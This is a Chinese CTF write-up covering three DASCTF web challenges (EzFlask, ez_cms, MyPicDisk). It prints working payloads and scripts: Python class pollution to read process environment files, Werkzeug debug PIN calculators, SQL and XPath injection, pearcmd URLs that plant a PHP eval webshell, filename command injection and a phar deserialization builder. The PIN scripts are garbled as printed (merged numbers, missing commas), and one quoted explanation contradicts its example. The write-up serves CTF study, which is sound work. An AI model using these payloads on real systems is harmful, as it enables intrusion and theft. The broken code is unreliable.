【表哥有话说 第106期】DASCTF web总结

admin 2024年2月6日14:01:11评论20 views字数 11124阅读37分4秒阅读模式

好久不见~ 短暂断更了一下呢 

这次浴血归来必定带着满满诚意

看看这次内容吧

DASCTF web总结

EzFlask

__class__方法用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。(题中可以不加)

__init__()方法是一种特殊的方法,被称为类的构造函数或初始化方法(类似PHP中的__construct()),当创建了这个类的实例时就会调用该方法。

__globals__对 保存函数全局变量的字典 的引用——定义函数的模块的全局命名空间。只读,但是可以修改无继承关系的类属性甚至全局变量

__file__全局变量,返回当前文件路径(目录)

示例:

"u005Fu005Fu0069u006Eu0069u0074u005Fu005F":{ :__globals__":{ "__file__":"../../../proc/1/environ" }

GPT之声:

__globals__属性是一个字典,存储了当前作用域的全局命名空间。它用于识别代码在哪个模块中执行。通过设置__globals__属性,可以修改对象所在命名空间的全局变量,这样可能导致代码执行的不可预见性和危险。

在你提供的例子中,__globals__属性的__file__键被设置为"../../../etc/passwd",这是一个系统的文件路径。如果代码在一个恶意的环境下执行并允许设置__globals__属性,攻击者可以通过操纵__file__键来尝试读取敏感的系统文件,如密码文件。

为了避免此类安全风险,应该遵循最佳实践:

  1. 1. 在定义类时,不要接受任意参数,只接受必要的参数。

  2. 2. 不要手动设置__globals__属性,它应该由Python自动处理。

  3. 3. 对于用户提供的任何输入,都要进行严格的验证和过滤,确保其安全性。

总而言之,使用不受信任的输入来设置__init__方法的__globals__属性可能导致安全风险,应该避免这样的用法。

关键在这一段代码,也就是我们访问根目录时的页面显示,他显示的是__file__所指的文件,默认为本文件,当我们通过原型链污染改变之后,就可以显示我们想看到的页面了。

这样的话我们可以在注册的时候进行原型链污染,注意这里的格式一定要严格,忘了个逗号或者错了个花括号都有可能导致页面不发生改变,很容易找不到思路了就。

传入json格式

{ "username":"12345", "password":"12345", "u005Fu005Fu0069u006Eu0069u0074u005Fu005F":{ :__globals__":{ "__file__":"../../../proc/1/environ" } } }

__另一种思路__:(重要)

Boogipop师傅的payload:

{ "username":1, "password":1, "__init__":{ "__globals__":{ "app":{ "_static_folder":"/" } } } }

然后访问/static/proc/1/environ,得到flag

在 Python 中,全局变量 app 和 _static_folder 通常用于构建 Web 应用程序,并且这两者在 Flask 框架中经常使用。

app 全局变量:

app 是 Flask 应用的实例,是一个 Flask 对象。通过创建 app 对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
app 对象包含了大量的功能和方法,例如 route、run、add_url_rule 等,这些方法用于处理请求和设置应用的各种配置。
通过 app.run() 方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。
_static_folder 全局变量:

_static_folder 是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
在 Flask 中,可以通过 app.static_folder 属性来访问 _static_folder,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static 文件夹中。
Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像。
综上所述,app 和 _static_folder 这两个全局变量在 Flask 应用中都扮演着重要的角色,app 是整个应用的核心实例,用于处理请求和设置应用的配置,而 _static_folder 是用于指定静态文件的存放路径,使网页能够正确地加载和显示样式和图像。

/static/proc/1/environ:由于"_static_folder":"/"把静态目录直接设置为了根目录,所以根目录下/proc/1/environ可以通过访问静态目录/static/proc/1/environ访问。

Boogipop师傅的另一种解法:题目开启了flask的debug模式,可以通过访问/console路由

算PIN码就是flask在开启了debug模式的情况下,进行代码调试需要输入密码。

pin码生成六要素:

1.username
通过getpass.getuser()读取或者通过文件读取/etc/passwd

2.modname
通过getattr(mod,“file”,None)读取,默认值为flask.app

3.appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask

4.moddir
flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量
在传入的文件地址不存在时会返回错误信息,其中包含出错误的位置,这个出错误的位置就是app.py的绝对地址
基本默认位置:
/usr/local/lib/python3.10/site-packages/flask/app.py

5.uuidnode
mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

6.machine_id
机器码,每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取。一般生成pin码不对就是这错了

算pin码脚本1:

import hashlib
from itertools import chain

# 可能的公共部分,包括用户名、模块名、类名以及相关模块路径信息
probably_public_bits = [
    'root',                # username
    'flask.app',           # modname
    'Flask',               # appname
    '/usr/local/lib/python3.10/site-packages/flask/app.py'   # moddir
]

# 私有部分,包括一些唯一的标识信息
private_bits = [
    '85992251104986',       # uuidnode
    '96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope'  # machine_id
]

# 创建 SHA-1 哈希对象
h = hashlib.sha1()

# 将可能的公共部分和私有部分的信息串联在一起,并计算 SHA-1 哈希值
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)

# 更新哈希值,使用 b'cookiesalt' 作为额外的盐值
h.update(b'cookiesalt')

# 构造 cookie 名称 '__wzd' + SHA-1 哈希值的前20位
cookie_name = '__wzd' + h.hexdigest()[:20]

num = None

# 如果 num 为空,则计算 num 值
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None

# 如果 rv 为空,则根据 num 的长度进行格式化处理,组成带分隔符的字符串
if rv is None:
    for group_size in 543:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0len(num), group_size))
            break
    else:
        rv = num

# 打印结果
print(rv)

算pin码脚本2:

import hashlib
from itertools import chain
probably_public_bits = [
    'app',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.9/site-packages/flask/app.py'
]

private_bits = [
    '2485378023426',
    '5dcbb593-2656-4e8e-a4e9-9a0afb803c47'# get_machine_id(), /etc/machine-id  /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 543:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

当输入pin码进入控制台后就可以进行任意命令执行了。

———————————————— 版权声明:本文为CSDN博主「Jay 17」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/Jayjay___/article/details/132123785

ez_cms

cms:内容管理系统(可以说是网站的后台)

确实进入主页之后最明显的就是文件上传漏洞,但似乎并不知道是否可以使用pearcmd进行文件包含。

解释:(感谢Boogipop师傅的细心讲解)

熊海代码审计漏洞分析总结

https://blog.csdn.net/Alexz__/article/details/116301518

https://blog.csdn.net/qq_28624871/article/details/114745946

本题漏洞:

一:admin越权

cookie伪造:在cookie中直接添加user:admin字段可直接进行登录

弱口令登录:账号admin,密码123456

二:/admin后台登陆中的SQL报错注入注入

【爆库】
#information_schema,ctf,mysql,performance_scheme,sys

1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+

三:文件包含

此文件包含无法实现任意文件包含,应该是限制了文件访问的范围。

四:文件上传

配合文件包含可以解决本题。

五:任意文件下载,通过修改下载的路径实现

使用漏洞:

先通过下载漏洞下载题目源码。

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file//判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

addslashes()函数过滤伪协议,文件包含时添加了.php后缀。

使用pear文件包含

1 有文件包含点
2 开启了pear扩展   (可以当他是一个框架)
3 配置文件中register_argc_argv 设置为On,而默认为Off($_SERVER[‘argv’]生效)在docker中自动开启
4 找到pear文件的位置,默认位置是/usr/local/lib/php/pearcmd.php

PEAR扩展 全称:PHP Extension and Application Repository PEAR扩展默认安装位置是:/usr/local/lib/php/

argv是数组,argc是数字。可通过var_dump($_SERVER);语句查看 argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元素是aaa和bbb,argc是数组的长度。&符号无法分割参数,真正能分割参数的是+,等号无法赋值,而是会直接被传进去当作参数。php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。

而pearcmd.php可以接受config-create命令,因此产生了payload:

在linux中
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
但是在docker中不一样
?+config-create+/&file=../../../../../../usr/share/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

初步推测:

当我们开启拓展后,在传入url时会自动地将参数读入$_SERVER[‘argv’],而这些参数以+号分割,所以我们传入$_SERVER[‘argv’]的参数数组为config-create,&/file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>,/tmp/test.php,但是我们传入index.php中的参数还是和原来一样读的,使得pearcmd执行,识别到数组的第一个参数为命令config-create,将后两个参数当作命令参数执行,写入木马文件。

网站的后台有多种功能,会存在一些sql注入,文件包含,文件上传,xss,ssti等漏洞。

本题的网站具有文件上传功能,可以通过pearcmd进行文件包含,包含时会执行文件内的php代码,写入我们传入的木马文件。

+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/1.php

r就是我们传入的参数

成功后用蚁剑链接,可以在根目录下找到flag。

MyPicDisk

开始是一个登录页面,

可以用万能密码登入,账号admin' or 1=1 #,密码123456

还有一种离奇的方法,账号admin' ,密码admin'

再就是预期解,XXE盲注,注出admin的密码

XXE盲注:

import requests
import time
url ='http://2fef9937-dbc2-4020-bb04-50f9ea363739.node4.buuoj.cn:81//index.php'


strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'


flag =''
for i in range(1,100):
    for j in strs:
        #猜测根节点名称 #accounts
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        # payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)

        #猜测子节点名称 #user
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        # payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)



        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)、
        # payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)


        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
            "username":payload_username,
            "password":123,
            "submit":"1"
        }


        print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)


        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

得到了密码,看起来像是加密过的,md5解密得到密码。

暂时不懂第二种方法是什莫原理,

在登陆后用burp抓包可以看到源码的下载

下载源码后知道这两种方法都不能保持session,由于用户不是admin,所以session用一次后就会销毁,必须登入一次操作一次。

解法一:命令拼接执行

public function __destruct(){
        system("ls -all ".$this->filename);
    }

base64编码绕过后缀过滤,通过构造一定的格式进行多命令执行。

那么我们使文件名如下,就即绕过了过滤限制,又能执行命令了。

?file=;`echo Y2F0IC9hZGoq(命令的base64编码) | base64 -d`;.jpg

成功得到flag。

坑点:

传入的时候一定要先传入一个图片,再改名字,因为FILE类析构的时候会读取图片的大小和最后修改时间,图片格不正确的话会导致析构错误,最终解构时错误也无法进行RCE

传入的文件名不用url编码,传入的url需要对内容进行url编码(格式问题)

解法二:phar反序列化

echo md5_file($filename);

一般参数是string形式的文件名称($filename)的函数,都可以用来解析phar

所以,这个md5_file函数可以解析phar文件。

同时,我们访问phar文件时,是通过GET方法提交?file=什么什么,源代码没有对?file进行过滤,我们可以使用使用phar协议phar://。

此外,对于上传文件后缀的限制,phar://的伪协议,可以将任意后缀名的压缩包(原来是 .phar 或 .zip,注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行 ) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。那我们可以上传我们生成的phar文件,通过burp抓包使文件后缀名变为.jpg

构造phar包脚本:

<?php

class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        $this->filename = $filename;
    }
}

$a = new FILE(";tac /adj*");  //源码不查phar里面的内容
$phar=new phar('xxx.phar');
$phar->startBuffering();
//往metaData里面放实例对象,使用phar协议读取phar包时,如果当前脚本识别了这个类(有这个类),会自动调用这个类的魔术方法
$phar->setMetadata($a);
//设置stub,固定写法
$phar->setStub("<?php __HALT_COMPILER();?>");
//添加要压缩的文件,这个文件没有也没关系,走个流程
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

这个phar归档脚本只需要改$a就可以。

本期内容就结束喽

表哥提前祝大家新春快乐~

咱年后继续有话说!

原文始发于微信公众号(SKSEC):【表哥有话说 第106期】DASCTF web总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月6日14:01:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第106期】DASCTF web总结https://cn-sec.com/archives/2474987.html

发表评论

匿名网友 填写信息